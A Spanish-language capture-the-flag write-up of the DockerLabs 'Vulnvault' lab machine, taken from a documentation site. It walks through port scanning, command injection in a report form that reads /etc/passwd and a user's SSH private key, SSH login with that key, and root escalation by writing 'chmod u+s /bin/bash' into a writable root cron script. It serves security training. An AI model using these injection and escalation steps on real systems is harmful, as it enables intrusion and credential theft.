> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/vulnvault.md).

# Vulnvault

#### **Despliegue de la Máquina:**

**Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Vulnvault** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**Descompresión:**

Utilizamos `7z` para extraer el contenido del archivo comprimido:

```bash
7z x vulnvault.zip
```

<figure><img src="/files/wm9CaLaNARHWuv8XL4Md" alt=""><figcaption></figcaption></figure>

**Ejecución:**

Ejecutamos el script que automatiza el despliegue del contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh vulnvault.tar
```

<figure><img src="/files/StWzJiAHjhNX4rr4GdRU" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**Verificación de Conectividad:**

Realizamos un `ping` a la IP del contenedor para confirmar su disponibilidad:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/eMyMNLlcaOCT3TWz3eRJ" alt=""><figcaption></figcaption></figure>

**Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/BOwlMJvWGc4Cti3v5cdx" alt=""><figcaption></figcaption></figure>

**Escaneo Detallado:**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Descubrimos:**

* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache 2.4.58 con una web para generar reportes.

<figure><img src="/files/tjgw8l149xvfufkIGYm9" alt=""><figcaption></figcaption></figure>

**Interfaz web:**

Accedemos a:

```
http://172.17.0.2/
```

La interfaz genera archivos de reporte a partir de un nombre y una fecha. Al probar con entradas modificadas, observamos advertencias de comandos maliciosos, lo que sugiere una posible inyección de comandos.

<figure><img src="/files/M9CQ0GEMueYESSAFIrKc" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

Probamos la vulnerabilidad inyectando un comando en el campo del nombre:

```bash
;cat /etc/passwd
```

<figure><img src="/files/EFCa7P38sUdgUB8MHeb8" alt=""><figcaption></figcaption></figure>

Logramos listar los usuarios del sistema y descubrimos al usuario `samara`.

<figure><img src="/files/mdA2xKP1vFdfN41DHYGn" alt=""><figcaption></figcaption></figure>

Intentamos extraer la clave privada del usuario `samara`:

```bash
;cat /home/samara/.ssh/id_rsa
```

<figure><img src="/files/7kFNp3ccEZHYs6qIxgLc" alt=""><figcaption></figcaption></figure>

Obtenemos la clave privada.

<figure><img src="/files/bWWEBMGPlenRogV2sCei" alt=""><figcaption></figcaption></figure>

Descargamos la clave en nuestro equipo local y ajustamos los permisos:

```bash
chmod 600 id_rsa
```

<figure><img src="/files/OHuxfmH6Ef1UZPxtkekC" alt=""><figcaption></figcaption></figure>

Nos conectamos al sistema por SSH como `samara` utilizando la clave privada:

```bash
ssh -i id_rsa samara@172.17.0.2
```

**Resultado:** Accedemos exitosamente al sistema con los privilegios del usuario `samara`.

<figure><img src="/files/9Q1AY4EEkeCHRnSpzWbs" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**Análisis de Procesos:**

Descargamos la herramienta [pspy](https://github.com/DominicBreuker/pspy) para monitorear procesos en segundo plano.

Creamos un servidor HTTP en nuestra máquina local para compartir el binario a través de la red:

```bash
python3 -m http.server 1234
```

<figure><img src="/files/UhDzmbBpSeGXirdXy2gG" alt=""><figcaption></figcaption></figure>

Desde la conexión SSH vamos a ejecutar el siguiente comando para descargarnos el binario:

```bash
wget http://172.17.0.1:1234/pspy64
```

<figure><img src="/files/iahzlkwTsVUlqVZtqjV9" alt=""><figcaption></figcaption></figure>

Le asignamos al binario los permisos necesarios:

```bash
chmod 700 pspy64
```

<figure><img src="/files/pVsDsuHHBkWyMJrgTCqE" alt=""><figcaption></figcaption></figure>

Ejecutamos el binario con el siguiente comando:

```bash
./pspy64
```

Identificamos que el script `/usr/local/bin/echo.sh` se ejecuta periódicamente como `root`.

<figure><img src="/files/VKhm3s76WoOSzTc7XyM2" alt=""><figcaption></figcaption></figure>

Verificamos los permisos y el contenido del script:

```bash
ls -l /usr/local/bin/echo.sh
```

```bash
cat /usr/local/bin/echo.sh
```

El script es modificable por `samara`.

<figure><img src="/files/k90CQ1IYbvqSOShOd43H" alt=""><figcaption></figcaption></figure>

Insertamos el siguiente comando para asignar permisos SUID a `/bin/bash`:

```bash
echo "chmod u+s /bin/bash" > /usr/local/bin/echo.sh
```

<figure><img src="/files/k6kL9aRNs4bC7ZXywhC0" alt=""><figcaption></figcaption></figure>

Esperamos a que el script se ejecute y luego lanzamos una shell con privilegios elevados:

```bash
bash -p
```

**Resultado:** Obtenemos una shell con privilegios de `root`, confirmando el control total del sistema.

<figure><img src="/files/Wr0G9liPFZVHIS32zkxv" alt=""><figcaption></figcaption></figure>
